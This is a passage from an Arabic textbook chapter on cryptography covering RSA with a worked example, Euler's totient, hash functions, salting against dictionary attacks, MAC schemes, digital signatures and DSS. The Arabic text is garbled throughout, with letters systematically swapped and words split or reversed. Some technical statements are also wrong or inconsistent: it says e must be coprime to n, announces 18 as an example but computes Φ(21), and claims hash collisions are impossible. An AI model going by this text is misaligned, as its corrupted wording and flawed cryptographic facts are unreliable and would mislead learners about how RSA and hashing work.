ساب ب ندما تَذذب ل فَتح ح  منها مستند طاص بالتوقيع ع  م لك الموظف مجموعة من المستندات من ض  أحد البنوك، يُقدِّ

فظه في ملفك لديهم.  أو لمضاء العميل الشخصي، ذذا الُمستندَ يَت م ح 

وأنت طارج البلاد تقوم بالإمضاء على طلبك ولرساله للى البنك جراء أي تعديلات على حسابك وقكلما أردت ل

ذذا  .ذلك الذي بالملف!ب مضاءبفتح ملفك لم ُقارنة ذذا الإ ، قيقوم الموظفضمن عدة لجراءاتبالفاكس كإجراء 

غير أن الأطيرة تُستخدم للكترونياً، لكن وظيفتها لا تقتصر على كونها مجرد  digital signatureتشابه مع مفهوم ي الأمر

م لنا طدمات أطرى أيضاً:  لمضاء!، قهي تُقدِّ

 
Digital signatures can provide the added assurances of evidence to origin, identity and status of 

an electronic document, transaction or message, as well as acknowledging informed consent by 

the signer. 

 سنأتي لليها بشيء من التفصيل قيمابعد..

 

  ”Public Key Cryptosystems“عَة داطل أحد ال في جولة مُُ ت  الآن  سنذذب بينما

م. ”RSA“وذو السيِّد   الُمحتَرَ

 

RSA 

 .MITتُشير تسميته للى الثلاثة الذين قامو بابتكار ذذا النظام وذم ينتمون لمعهد ال 

Ron Rivest, Adi Shamir, and Leonard Adleman at MIT 

 .شكراً لهم 
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 لنُشاذد معاً شكل ذذا النظام:

 

 
 

قتقوم ذي بفك الشفرة  الخاص بِا لذلك، Public Key، قيستخدم ال Aliceلرسال رسالة للى  Bobيُريد السيد 

 الخاص بِا.  Private Keyباستخدام ال 

الآطر  Keyويُستخدم ال  ،Encryptionيُمكن استخدامهُ في عَمَلية ال  Keysأيضاً أُحب أن أوضح لك أن أيٍ من ال 

 .Private Keyوقَك التشفير بال  Public Keyكانَ ذذا الم ثال للتشفير باستخدام ال  .Decryptionفي عملية ال 

دس ثال آطر يَ  نُشاذ   :Keysاستخدام ال  عملية ك سعَ قوم ب  م 
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ر رسالته بال  Bobيظهر ذنا السيد  ب فَك الشفرة باستخدام ال  Aliceالخاص به ذو، ثُم  تقوم  Private Keyوذو يُشفِّ

Public Key .ًالخاص به  أيضا 

 

 !..RSA Algorithmداطل ال  لنتعمقذيا 
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RSA Algorithm 

 

 

دّة ططوات: Algorithmسنقوم بشرح ذذه ال   على ع 

 ."أوليينِّ "أول ططوة ذي اطتيار عددين عشوائيين، كبيرين، مُُتلفين، و

 سَنرمُز لهم ب:

p  وq. 

 

Choose two large prime numbers (approximately 200 digits each), labeled p and q 

 

 ..؟Prime Numberما ذذا ال 

  :دقعني لأحكي لك ذذه القصةذذا ي

 ”A brilliant young mind“ كُنت أشاذد قيلم اسمهُ 
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ض مُسابقاتٍ دولية فييمتلك عقلية رياضية مُُتازَة!،  يَحكي ق صة ط فل و 
مجال  وكيف بدأت أُمهُ بالإذتمام ب ه، وتأذيله  لخ 

 الرياضيات..

 الُمهم.. 

يدة الوجبة  ذات يوم ذذبت أمهُ لتشتري له وجبة الغداء، ويبدو أن ذذا المطَعَم كَانَ يُسمّي الوَجَبات ب أرقام، قَطَلبَت الس 

 "أولياً "لتكون عددذا  ةبلكنها أرادت لجراء تعديل على عدد القطع بداطل ذذه الوج !،أوليوذو رقم  "47"رقم 

 لاحتوائها على المطلوب، ”48“ققال لها الكاشير أنه من الأقضل لها أن تأطذ الوجبة رقم  أيضاً!.

  :قترددت السيدة قليلًا وقالت له

ثُم  أطرجت جَدوَل الأرقام الأولية ، "يَقبلَ للا الأرقام الأولية! اعذرني قولدي لديه طباع غريبة بعض الشيء.. لنه لن"

ن شَنطتها لتتأكد ذل الرقم   أولياً أَم لا.. 48م 

 . كما يظهر ندذا قارتسمت على الكاشير ملامح الإ ياً كما يبدو في الصورة بالأسفل،ثم أرادت أن تُريه  أنه ليس أول
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 .”2000“الجدول السابق يوضح الأعداد الأولية التي تقع أسفل الرقم 

 

ب على السؤال!..   ولكن لم نُج 

 نهما من الأساس؟، أو كيف نحكُم أن ذذان العددان أوليان قيما بينهم؟كيف يكون العددين أوليين قيما بي

 أولاً: التعريفحسناً.. ذذا ذو 

  (Coprime integers): أوليين قيما بينهما نظرية الأعداد، يكون عددان صحيحان في

 ده باستعمالبينهما والذي يمكن ليجا Greatest Common Divisor (GCD) القاسم المشترك الأكبر عندما يكون

  (1). طوارزمية اقليدس، مساوياً للعدد

 

 وما ذذا القاسم المُشترك الأكبر؟

م أكبر عَدد لنهُ  س   .12ن ، سيكو(60و  48)ق سمَة، قَمَثلاً للعددين  باقي في نَفس الوقت العددين مَعاً بدون أي يَق 

 

ب لَنا ذذه الخاورزمية المُسما  ين أوليين..؟لعدد GCDال  "لقليدس" ةوكَيفَ تَحس 

 .جميل ذذا الاسم.. لقليدس 

“Euclidean Algorithm”  

 :(120 ,7253)لعددين يُفتَرض أن يكونا أوليين قيما بينهم، وذم  GCDذذا مثال يوضح طريقة حساب ال 



 Understanding Hacking and Information Security                                                  توأمن المعلوما  ةالقرصنة الإلكتروني
 

Cryptography 
 [348] 

 
سمَة في الخانة  ثُم  نَقوم ، Rتتلخص الطريقة بوضع العدد الأكبر أولاً ثم ق سمَته على العدد الأصغر، ووضع باقي الق 

ووضع الباقي مرةً  53على ال  120. ثُم  ق سمَة ال Bالأول تَحتَ الخاَنَة  R، ونَقل ال Aب نَقل العدد الأصغر تَحتَ الخانة 

، وذذا (2 = 1/ 2)للى أن نصل للى  ، ثم لجراء عملية النقل ثم القسمة ووضع الباقي وذكذا..Rأطرى تحت الخانة 

 .ة = صفر!ني أن الباقي بعد القسميع

 قهذا يعني أن ذذان العددان ،1= التي تَسب ق الصفر مُباشرةً، قإن كانت ذذه القيمة  Rذو قيمة ال  GCDقيكون ال 

 أوليان.

 

 ل نعود..

 قُلنا أن أول ططوة ذي اطتيار عددين أوليين.

 n = p . q حيث ،nوالخطوة الثانية ذي حساب قيمة 

 "..؟n"ما ذذا ال 
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ل"امه لنه عدد سيتم استخد ، وال Public Keyأثناء التشفير وأثناء قك التشفير، أي أنهُ سَيدَطُل في مُعادلة ال  "كمُعام 

Private Key.)..سنأتي لليه بعد قليل( . 

 ”Euler’s totient function, Φ(n)“ذي حساب ال  ةوالثالث

 وتُحقق ذذا الشرط: ،nالموجبة التي تقل عن العدد  ةويتم تعريفها على أنها عدد الأعداد الصحيح

“they should be relatively prime to n” 

 

 دعنا نأطذ مثال:

ساب ق يمَة   Φ(29)نُريد ح 

 عَدَد أولي.. 29ب ما أن  العَدد 

 :  ، بعنى أنه: Φ(29) = 28لذاً.. يُمك نُنا القول ب أن 

 

Φ(n) = n – 1 

 وذذا ققط للأعداد الأولية!

 

ه كانت في Φ(n)وب ما أن   :، Φ(p, q) الأساس ذَذ   قيُمك نُنا القول ب أن 

Φ(n) = Φ(pq) = Φ(p) * Φ(q) = (p - 1) * (q - 1) 

 

ثال:  ذَيا ل نأَطُذ م 
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ب العدد   ..15لنجُرِّ

نا الجدول بالأعلى أن  ُ أن  15نُريد لهذا ال  .Φ(15) = 14ليس عدداً أولياً، قلا نَقول ذُنا  15، لاحظ أن Φ(15) = 8يُخبر 

 .ن أوليين كي نُحقق شرط المعادلةاصل ضَب لعددييكون ح

ل ضََبِم   15= ذيا لنختار أي عددين أوليينِّ حاص 

د أن  العَدد  ل ضََبِم  5والعَدَد  3نَج   أيضاً. 15= عَدَدَين أوليينِّ وحاص 

 لنطُبق المعادلة:

Φ(n) = Φ(pq) = Φ(p) * Φ(q) = (p - 1) * (q - 1) 

Φ(15) = Φ(5, 3) = (5 – 1) * (3 – 1) = 4 * 2 = 8  
 

ثالاً  يبدو أنك تُريدُ   آطر.. لا بَأس!: م 

 .. ذل تعرف السبب؟25لا تقُل لي سأطتار العدد 

 أيضاً، وذذا مُُال ف للشَرط في أن يَكونا مُُتل فين!. q = 5، وال p = 5لأن في ذذه الحالة سَيكون ال 
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 ..18لنجُرب العدد 

Φ(21) = Φ(7, 3) = (7 – 1) * (3 – 1) = 6 * 2 = 12  

 

 الخطوات السابقة جيداً!. ناقد قهم ناأظن أن

 يُحقق شرطين ذُم: بحيث، (e)العدد  ، سنقوم باطتيارΦ(n)والآن وبعد حصولنا على ال 

 Φ(n)أن يقل ذذا العدد عن العدد  - 

 أوليين قيما بينهما!،  Φ(n)وال  (e)أن يكون كُلاً من ال  - 

 

 كيف ذذا؟

 .160.. قنقوم باطتيار عدد عشوائي أقل من ال Φ(n) = 160بر أن ال حسناً.. سَنعَتَ 

ب العدد   على سبيل المثال. 7سنجُرِّ

 GCD (160, 7)لاطتبار العددين كما يلي:  ”Euclidean Algorithm“باستخدام ال 

د أن  ال   .GCD = 1نَج 

 

 ..؟ (e)ذذا جيد.. ولكن ماذا سنفعل بِذا ال 

مهُ في مُعادل  ة التشفير كما يلي:سَنستَخد 

ض أن  الرسالة المُراد تشفيرذا ذي  قتكون المعادلة: ،Cوالرسالة الُمشفرة ستكون ، M ل نَفر 
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 ؟ ..(n) ذل تتذكر ذذا ال

مهُ في عَمَلية التشفير وقك التشفير!.  تكلمنا عَن هُ في الخطُوة الثانية وأطبرناكَ أننا سَنستَخد 

ل  blockكل  ،(Blocks)يتم تشفيره سَيَجري لرسالهُ على ذيئة الذي س plaintextوذذا لأن ال   Binary valueسَيَحم 

 nوعلى أي حال، ذذا ال  .(n – 1)ستكون قيمته بين الصفر وال  ciphertext، بمعنى أن ذذا ال (n)أقل من ذذا العدد 

 ."1024للأسُ  ةلثنين مرقوع"، (1024^2)لن تزيد قيمته عن 

 

 لام.. يبدوا واضحاً لَنا الآتي:ب ناءً على ذذا الك

 .Receiverوال  Senderلابد أن يكون معروقاً لكلٍ من ال  nأن العدد  .1

ل، قهذا سيُمثِّل ال  eوأن العدد  .2 الذي سيُعطيه  Keyذذا ال  الذي سيستخدمه للتشفير. Public Keyمعروقاً للمُرس 

 لياه الُمستقب ل.

رة. Private Keyال معروقاً للمُستقب ل، ذذا سيكون  dوالعدد  .3  الُمستَخدَم في قَك  الرسالة الُمشف 

 

 شكل تحليلي يوضح جميع الخطوات السابقة: ةالتالي ةفي الصفح
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 وال eال ولرسال ذذا  ،n ، ثم يتم حساب الqوال  pوال  e بإنتاج ال Generatorيبدأ ال بناءً على الشكل.. 

n  لليه، حيث يتم استخدامهم في معادلة لنتاج ال للشخص الذي يُريد لرسال الرسالة الُمشفرةCiphrtext  كما

 ترى في الخطوة الثانية.

 

 الُمراد تشفيرهُ ولرساله. plaintextب تَجهيز ال  Senderيقوم قيها ال  الثالثة الخطُوة ثُم  

ن قَبل في التشفير.  وفي الخطوة الخامسة يتم استخدام المعادلة التي ذَكرتُها لَكَ م 

من أجل قك الرسالة  Receiverالذي سيستخدمه ال  private keyالخطوة السادسة يتم تجهيز ال ثم في 

 . (d)الُمشفرة باستخدام المعادلة الثانية التي يدطل قيها ال 

 

 ..؟(d)ولكن لم تقُل لي كيف حصلت على ذذا ال 

 .”RSA“ال  ذذا صحيح!.. سأطبرك كيف نحصل عليه في المثال التالي، والذي سنختم به ذذا

 

 p = 17, and q = 11، أولاً: سنقوم باطتيار العددين الأوليين

 

 n = 187))..لذاً  n( ،n = p * q = 187) ثانياً: سنقوم بحساب ال

 

 على ذذا النحو: Φ(n)ثالثاً: سنقوم بحساب 

Φ(n) = Φ(pq) = Φ(p) * Φ(q) = (p - 1) * (q - 1) = 16 * 10 = 160 
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ق الشرطين المذكورين سابقاً. e العدد رابعاً: سنختار  بحيث يُحَقِّ

e is relatively prime to n, and e is less than Φ(n). then.. e is (7) 

 

رَة. Private Key، والذي يُعبرِّ عن ال (d)ل تحديد العدد  ةطامساً: ذذه الخطُو  الُمستخدَم في قَك الرسالة الُمشف 

 نحصُل عليه باستخدام ذذه المعادلة:

(ed – 1) mod (p – 1)(q – 1) = 0 

e * d = Φ(n) + 1 

7 * d = 160 + 1 

d = 161 / 7 = 23 

 

لنا ققط  Private Keyوسنقوم بالاحتفاظ بال  ،(e)وذو ال  Public Key سادساً: سنقوم بإعطاء الطرف الآطر ال

 .(d)وذو ال 

 

 باستقبالها وقك تشفيرذا Receiverقوم ال ولرسالها، وي (88)بتشفير الرسالة وذي  Sender: يقوم ال سابعاً 

 باستخدام ذذه المعادلات:

 
 

 وعلى ذذا النحو: 
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 .RSAللى ذُنا نكون قد انتهينا من ال 

 

 

Cryptographic Hash Functions 

 

 ..؟”Hash Function“ماذذا ال 

 :بحجم ثابت outputإنتاج ، لتقوم ب(M) وذو النص الُمراد لرساله input، تأطذ (H)نُسميها  Functionلنها 

 “Fixed-size hash value”  سنُسميه(h). 

 

 ذيا لنعُيد كتابة ذذه المعادلة: 

h = H(M) 
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، يُؤدي للى تغيير مُقاب ل لهُ في ال (M) حسّاسَة ب دَرَجَة عالية، قأي تَغيير يَت م لجراؤهُ على النص Hash functionذذه ال 

Hash Code. 

 .Hash Functionsئيسية التي تتميز بِا ال ذذه ذي الخاصية الر

 

 ؟ةوماذا سنستفيد من ذذه الخاصي

ذذا الكلام يبدو  نستفيد منها في التأكد من أن النص أو الملف الذي يجري لرساله لم يتعرض لأي تعديل أثناء رحلته!.

 مألوقاَ!، أليس كذلك؟
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رُك به ”Data Integrity“ذل تتذكر تعريف ال   :؟ ..دعني أُذكِّ

Integrity Assures that messages are received as sent with no duplication, insertion, modification, 

reordering, or replay. 

 

 ؟ ”Cryptographic Hash Functions“والآن ذل عرقت قائدة ال 

 .Data Integrity لنها أحد وسائل تحقيق ال

 :Cryptographic Hash Functionsتوجد بعض السمات الأساسية لل 

  الأولى أن الinput  غير ثابت، أي أن الinput length .مُتغير 

  والثانية أن الoutput  سيكونFixed-Size. 

 أن ذذه ال  ةوالثالثHash Function  تُعتَبر“One-way function” وذذا يعني أنه ، 

قَة ال  دّة مَعر  لال الإطلاع على ال  inputيَصعُب ب ش  ن ط   !.outputم 

 والرابعة في تَميَُّزذا بأنها “Collision free” بمعنى أنه من المستحيل حدوث تَطابُق بين أي ،hash values. 

“it is incredibly difficult to find two pieces of data that hash to the same value, and the chances 

of it happening by accident are almost 0”. 

 

 

 

Message Authentication 

 .”Hash Function“أحد تطبيقات ال  Message Authentication تُعَد ال

ندَما نَقوم باستخدام ال  integrityحيثُ تُستخدم للتأكد من ال  الخاصة بالرسالة أو البيانات التي يتم لرسالها، وع 

Hash Function  ذا الغَرَض، نُطل ق عليها  .”Message Digest“له 
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 ..؟”Message Digest“قما ذو تعريف ال 

“Is the action of generating a unique output value derived from the content of the message” 

 

ظ أن  الرسالة لن تتحول للى ذذا ال   !، ستظل الرسالة كما ذي.. hash valueلاح 

ث ل   .hash value ا البِا ذذ ةمع الرسال notepadسيتم ققط لضاقة شيء م 

، يقوم بمُقارنته بذلك الذي أتى hash value على الرسالة، قينتُج Hash Function ويقوم الُمستقب ل بتطبيق نفس ال

 مع الرسالة، قإن تشابِا، قهذا دليل على سلامة ذذه الرسالة أو الملف من أي تعديل أو حذف أو ضياع لأحد أجزائه.

 
ض ذذه الرسا  ..؟”Man in the middle attack“لة لل ذل مُكن تَعَرُّ

 ذذا مُكن بالطبع!..
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 كيف ذلك؟

مثلاً  MD5، قَيَط لع عليها ثم يقوم بتطبيق ال receiverبأن يتمكن أحدذم من الإمساك بالرسالة قبل وصولها للى ال 

 !.receiverل القديمة بِذه الجديدة، ثُم لعادة لرسالها للى ا hash valueعليها مرةً أطرى واستبدال ال 

 

 ..؟MITMأرني كيف يتم ذذا 
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ن الهجمات؟  وكيف نَتَجَنّب ذذا النوع م 

 للى الطرف الآطر. hash valueسنحتاج ذُنا لطريقة آمنة لنقوم بإرسال الرسالة مع ال 

 

 الطريقة الأولى:

 
 

ذذه البيانات ، الطرف الآطرت قَب ل لرسالها للى لتشفير البيانا ”Symmetric Algorithm“ذُنا سنقوم باستخدام 

وعند وصولها، سيقوم الطَرَف الآطر ب فَك الشفرة ل يحَصُل على الرسالة وال  (.hash valueستكون: )الرسالة + ال 

hash file. 

ة ب تلك القادمة مع الرسالة. hash valueعلى الرسالة ويُقارن ال  Hash Functionثُم  يَقوم ب تطبيق ال   الناتج 

 

 ة الثانية:الطريق
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ه  لأي  hash codeلتشفير ال  ”Symmetric Encryption“ذُنا سنقوم باستخدام ال  ض  نضَمَن عَدَم تَعرُّ
ققط!، ل 

ند وصول البيانات، سَيقوم الطرف الآطر ب فك التشفير ل يَحصُل على الرسالة وال  ، قَيَقوم ب نفَس hash fileتَعديل. وع 

ن سَلا  مة الرسالة.الإجراء أيضاً للتأكُد م 

 

 :ةالطريقة الثالث

 
 

، ذذا الحرف ذو (S)، وذو ال hash valueأثناء لنتاج ال  Hash Functionجديد سيدطل مع ال  Inputنلاحظ ظهور 

 .”Salt“اطتصار لكلمة 

 ..؟”Salt“ماذذا ال 

بارة عَن   hashوم بعمل ال التي ستق One-way functionمع ال  inputيَت م استخدامها ك  Random dataلنهُ ع 

ليست لها علاقة مباشرة مع الرسالة أو ال  hash valueالُمراد لرساله أو تخزينه. قينتج بذلك  passwordللرسالة أو ال 

password  الداطلة في المعادلة!، لأننا قُمنا بإلصاق بعض الأحرف الأطرى معها قبل لجراء الhashing.  تكمُن أهمية

  ”Dictionary Attack“من ذجمات ال في الحماية  Slatذذا ال 

 في مثالنا ذذا..
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ل لَه الرسالة مع ال  Saltسنقوم بإرسال ذذا ال  يقوم ذو بتطبيق ال  ،hash fileللى الطَرف الآطر ب مُفرده، ثُم  نُرس 

hash function  مع لدطال الSlat ويُقارن ال ،hash value  .ة بتلك القاد مَة مع الرسالة َ
 الناتج 

 

 ..؟”Dictionary Attack“ذذا ال ما

 ذاذو.. 

 

 
 

 ة، قتقوم الأداtxtعلى كمية كبيرة من كلمات السُ الُمقترحة، يَت م وَضعها في ملف  Hash Functionلنها عملية تطبيق ال 

 hashتَشابُه بين أحد ال  (، للى أن يَح دُثة)الُملتَقَطَ  ةالُمعطا hashبال  hash valueومُقارنة ال  ةل كُل كَل مَ  hashingب عَمَل 

values ةوت لك الُمعطا.! 
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 في العملية!. Saltقائدة ال  وذكذا تظهر

هل من عملية ال Saltقعدم استخدام ال   Dictionaryيُسِّ

attack. 

ع من  "كلمات سِ"أيضاً استخدام  بسيطة أو سهلة يُسُِّ

 عملية كسُذا أو تخمينها!.

مع  Hashingذذا شكل آطر يوضح طريقة تطبيق ال 

أثناء تسجيل دطول أحدذم للى ال  Saltاستخدام ال 

Server: 
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، ثم تطبيق ال saltوال  passwordبين ال  ”Concatenate“بعمل  Serverكيف قام ال  ةلاحظ في الخطوة الثالث

Hashing Function ن  لديه. ةعليهم ومُقارنة النتيجة بتلك الُمخز 

 

 ..؟”Concatenate“وماذذا ال 

 .(+) operatorباستخدام ال  ”two strings end-to-end“لنها باطتصار.. عملية دمج  

 

ل قَصير  رُج للى قاص   ثُم  نعود من جديد..سَنخَ 

 

 

Confidentiality, Authentication, and Signature 

 ، وذي:الَمفاذيم  ذذه على ؤكدسَنَقوم ب مُراجعة سَِيعة ل ن

Confidentiality, Authentication, Nonrepudiation (Digital Signature) 

 

 الشكل الأول:
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حاً استخدام نفس ال ”Symmetric Encryption“ذذا الشكل يُعبرِّ عن ال  في عملية التشفير  Key، حَيثُ يبدو واض 

 آمنة سنتكلم عنها لاحقاً. ة قناعبرقيما بينهم  يتم تبادله Keyوقك التشفير!، ذذا ال 

 

ني:الشكل الثا  

 
 

 publicلأن الطرف الأول يقوم بتشفير الرسالة باستخدام ال  ”Asymmetric Encryption“ذذا الشكل يُعبرِّ عن ال 

key .الخاص بالطرف الآطر 

 ..!Authenticationكن لا يُحقق ال ول Confidentialityذذا النموذح يُحقق لنا ال 

 

 ؟Authenticationولم اذا لا يُحقق ال 

ن قتح  ”B’s Private Key“المُستخدم ل فَك الشَفرَة ذو ال  key بما أن ال واهُ سَيَتمَكّن م  قَهذا يَعني أنهُ لا أحد س 

، قرُبما يَقع ذذا الم فتاح ب يَد أحدذم قيتمكن من تشفير أي Aالخاص به للى  public keyبإرسال ال  B الملف!، بينما قام

ياً أنه Bبيانات ويقوم بإرسالها ل   .A مُدّع 

 ؟Authenticationوالآن ماذا سنفعل ل نحُقق ال 

 ذذا ما سيأتي به لنا الشكل الثالث..
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 الشكل الثالث:

 
 

 الخاص private keyيقوم بتشفير الرسالة باستخدام ال  Aعن طريق جعل الطرف  Authenticationقُمنا بتحقيق ال 

 .public keyأصعب بكثير من سِقة ال  الخاص بأحدذم private keyبه ذو!، وذذا لأن عملية سِقة ال 

 .Signatureوال  Authenticationوبالتالي ذذا النموذج يُحقق لنا ال 

 

 ..؟Signatureعفواً.. ولكن كيف يُحقق ذذا النموذج ال 

نا مَبدَئياً كَيفَ يُحقق ذذا النمَوذج ال  ثال ل   طُذأن. سAuthenticationلقد عَرَق  نهُ كيفَ نم  قِّ  فهم م  ال  الأطيرة. لنا قيُحَ

Signature   ذدقها لثبات أمامَ الجميع أنA  ذو وَحدَهُ من قام بإرسال ذذه الرسالة للىB. 

 بالتلاعُب بأن يأتي Bرُبما نُتيح قُرصة للطرف  ،!ةمهم، أو قَرارات ةالرسالة تحوي مَعلومات حَسّاسَ  ماذا لو كانت ذذه

 ..A الخاص ب public keyله!، وأنهُ قام بفك تشفيرذا بال قام بإرسالها  Aلنا ب رسالة ويَدّعي أن  

 

 مالحل ذُنا؟

ر لناA بمُقتضاذا امتلاك الحق في الإدعاء بأن الرسالة أتت من Bالحل ذُنا أن نضع قاعدة يقوم الطرف   ، وذو أن يُظه 

 ..Aالقادم له من  Ciphertextال 
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 بالذات؟ Ciphertextولماذا ال 

 ،Ciphertextالشخص الوحيد الذي يستطيع تكوين ال  ، قهوPrivate Keyالذي يمتلك ال ذو الوحيد  Aب ما أن 

 من الجهاز!. private key، للا لذا تمت سِقة ذذا ال حد سواهُ ذلك!وليس لأ

 ذو من أرسل ذذه الرسالة!. Aذو دليل كافي أن  B في حد ذاته عند Ciphertextوبالتالي تواجُد ذذا ال 

ر أن ال  م مفهوم ال  Signatureتَذَك  ل من الإدعاء بعدم لرسالهمنع "، حيثُ تعني Nonrepudiationتُدعِّ  الُمرس 

 ."وصولها لليهللرسالة، ومنع الُمستقب ل من ادعائه بعدم 

 

 في ذذا النموذج!.. لماذا لم تتحقق؟ Confidentialityولكني لاحظت عدم تحقيق ال 

دة على مرح قإذا وقع ذذا ال  .Aالخاص بالطرف  public keyلة واحدة وذي امتلاك ال لأن عملية قك الشفرة مُعتم 

public key وذذا طرق لل د أحدذم قسيتمكن من رؤية الرسالةبي ،Confidentiality. 

ر مثال ال  ، اء أموره  وجهة توظيفه، والتي لا يتم السماح لأحد بالاطلاع عليها للا الطالب وأوليStudent Recordتَذَك 

 ذذا المعهد!. ةلاع غيرذم عليها يدل على وجود طلل في موثوقيواط

 

 لذاً..؟، مع الإبقاء على بقية الخصائص..  Confidentialityكيف نُحقق ال 

 "الشكل الرابع سيُجيب علينا"
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 الشكل الرابع:

 
 

 لقد قُمنا بإضاقة مرحلة أطرى أثناء عملية التشفير وقك التشفير،

 Signatureالخاص به، وبِذا يكون قد حقق ال  Private Keyير على مرحلتين، الأولى بال بالتشف Aسيقوم الطرف 

 . Authenticationوال 

، ليكون بِذا قد حَقَقَ ال B الخاص بالطرف Public Keyثم يقوم بالتشفير مرةً أطرى باستخدام ال 

Confidentiality. يستهلك لاحظ أنه عني أن ذذا النموذج ذو الأقضل!، ذذا لا يResources  عالية بسبب لجراء

 .في كل مرة يتم لرسال رسالة قيها "أربع عمليات"

 

 

 

Message Authentication Code (MAC) 

 

، يُمك ننا الانتقال للى ذذه التكنولوجيا الُمستخدمة لتحقيق ال Authenticationالجيدة لمفهوم ال  ناوالآن وبعد معرقت

Authentication ذي ال بين طرقين، وMAC. 

 ..؟MACما ذذا ال 
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ك بين طرقين( على الرسالة أو البيانات الُمراد لرسالها، قيتم  Secret Keyلنه الشيء الذي ينتُج بعد تطبيق ال  )الُمشَتَرَ

 لرساله مع الرسالة للى الطرف الآطر.

 

 وما ذو ذذا الشيء الناتج؟

 ”Cryptographic checksum“ق عليه ، أيضاً يُطلَ ”Fixed-size block of data“عن  ةلنه عبار

 .MACأو للاطتصار 

 :ةلذاً، يُمك نُنا التعبير عن ذذا الإجراء بالمعادلة التالي

 

 MAC = C ( K, M ) 

 

 Keyال بتطبيق  ، MAC Function (C)الذي سنقوم بإرقاقهُ مع الرسالة، سنحصُل عليه عند قيام ال  MACذذا ال 

(K)  على الرسالة(M). 

بذلك الذي  ومقارنته MACلإنتاج ال  ةأيضاً على الرسالة الُمستَلَم MAC Functionطرف الآطر بتطبيق ال يقوم ال

 أتى بصُحبة الرسالة.

 .MACسنعرض لك بعض الأقكار لتطبيق ال 

 نبدأ بالشكل التقليدي:

 



 Understanding Hacking and Information Security                                                  توأمن المعلوما  ةالقرصنة الإلكتروني
 

Cryptography 
 [372] 

 
 

في الناحية  MACل ل Calculationو عمل ال  MAC Functionذذا الشكل يبدو واضحاً ومُباشر في تطبيقه لل 

 بينهم. ةالأطرى ثم عمل المُقارن

 

 الشكل الثاني:

 
 

آطر  Key، قُمنا باستخدام MACفي لنتاج ال  Keyلل  MAC Functionقُمنا ذُنا بإضاقة ططوة، بعد استخدام ال 

ماية للرسالة في حالة التقاطها!.MAC لتشفير )الرسالة + ال  ( لنعُطي الح 

 صيتين: ذذا يعني أننا حققنا طا

عن طريق  Confidentiality، أي للرسالة قبل تشفيرذا!. وال plaintextحققناه ولكن لل  Authenticationال 

 .K2استخدام ال 
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 الشكل الثالث:

 
 

رة!. MAC Functionلاحظ أننا ذُنا قمنا بتشفير الرسالة أولاً ثم قُمنا بتطبيق ال   على الرسالة الُمشف 

عن طريق التشفير  Confidentiality، وال Ciphertextلل  Authenticationيُحقق لنا ال  قَأصبَحَ ذذا النموذج

 .K2باستخدام المفتاح 

 

 
Digital Signature 

 

، ”Hashing Function“مع ال  ”Public Key Cryptography“ذي عبارة عن تطبيق ال  Digital Signatureال 

 وذلك لتحقيق ثلاثة أذداف.. ذي:

 

 

Authenticity 

  Documentلهوية الشخص الذي قام بإرسال ذذه ال  ”Proof“قهي لثبات 
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Integrity 

أو أثناء رحلتها  Signingذذه لم تتعرض لأي تعديل أو تغيير أثناء ال  Documentلنها تعطينا لثبات وتأكيد أن ال 

ف أي عملية دمج أو حذف الُمراد ل Documentلهذه ال  Bit Binaryللينا. وذذا بسبب تعامُل ها مع كل  رسالها، مُا يَكش 

 .عليها Algorithmبعد تطبيق ال  Documentأو لضاقة حرف واحد لهذه ال 

 

Nonrepudiation 

ل لإرساله ذذه ال  قتُعَد بِذا مُستندَ  بكل كلمة قيها!، Documentوذذه طاصية مُهمة، حيث تضمن عدم لنكار الُمرس 

 رسمي يُمك ن لدانته به!.

 

 

 ..القضائية ذذه قيها لشكالعملية الإدانة       

لوحدذا بِذه التكنولوجيا الجهات الرسمية  أن تعتد لا يُمكن ل أن يستطيع المُ حيثُ . !كإثبات بَينِّ على الُمرس  رس 

 ."مثلاً  ”Malware“ادعائه بإصابة جهازه الشخصي ب عبر يتمل ص من ذذا الإتهام 

 

 بما يُحقق ذذه الخصائص المذكورة: Digital Signature ذذا شكل يوضح تطبيق ال
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 .”Kevin“بإرسالها للى السيد  ”Rose“على وثيقة تقوم السيدة  Signatureيوضح الشكل ططوات تطبيق ال 

، ثُم تقوم بتشفيرذا باستخدام Hash valueأولاً على الُمستند، لتحصُل على ال  ”Hash Function“ققامت بتطبيق ال 

الُمستَلم بالذي  Hash valueقيقوم ذو بعكس الخطوات ومُقارنة ال  .Kevinولرسالها للى السيد  Private Keyال 

 استخرجهُ ليتأكد من سلامة المُستند.

 

 :لنفس العملية شكل آطر ةالتالي ةنعرض في الصفح
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  بعد تطبيق الHash  باستخدام الMD5  أوSHA1  أوSHA2، نحصُل على ال hash value (h)عد ، وب

 .(S)التشفير نحصُل على ال 
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  في الناحية الأطرى تُطَبِّقAlice  الKey  صُل على ال تحَ 
 .(’h)ل 

  قتقوم بتطبيق الMD5  أيضاً على الرسالة(M) قينتج ال ،(h)،  ل تُقارنهُ بال(h’). 

 

 

Digital Signature Standard (DSS) 
 

 (..؟DSS) ما ذذا ال

Digital Signature Security Standard (DSS) is a technology for creating digital signatures that was 

developed by the National Security Agency and adopted by the United States government as its 

digital-signature standard. DSS defines the Digital Signature Algorithm (DSA), DSA does not 

encrypt message digests with the private key or decrypt the message digest with the public key!.  

it uses special mathematical functions to generate a digital signature composed of two 160-bit 

numbers (s & r) that are derived from the message digest and the private key. Then it uses the 

public key to verify the signature. 

 

 ؟Algorithmكيف تعمل ذذه ال 

ذذا ك  hash codeراد لرسالها، ثم يُستخَدَم ال من الرسالة المُ  hash codeلإنتاج  Hash Functionلنها تستخدم ال 

input لالى ال (Signature Algorithm.) 

في قك التشفير، للا  public keyفي التشفير، وتعتمد على ال  private keyعلى استخدام ال  Signatureتعتمد ذذه ال 

 Global Public Key (Pug)أنها تستقبل عنصر ثالث أيضاً في ذذه العملية، وذو ال 

بارة عن مجموعة من ال   التي يستخدمها ك لا الطرقين. parametersلنهُ ع 
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 (.r( و )s) قيمتين يَت م لضاقتهم مع الرسالة وذم Algorithmال  في النهاية يَنتُج عن ذذه

 

طُل في التفاصيل:  ذيا ل ندَ 

 (،r)وال  (s)وم الطرف الأول بعمل بعض العمليات الحسابية لإنتاج ال يق

ا ال  functionsسَيكونا نوات ج ل  sوال  r ذذا ال  ل، وا(p,q,g)وذُم ال  "public key components"يَدطُل بِ 

private key  الخاص بالطرف الأول ونَرمز له ب(x) وال ،hash code  الخاص بالرسالة ونرمز له بH(M) ًوأطيرا ،

 .(k)نقوم بِا ونرمز له ب  Signرقم عشوائي نستخدمه لكل عملية 

 

 (:r)وال  (s)لتكوين ال  parametersمايلي شكل يوضح كيف تدطل ذذه ال 
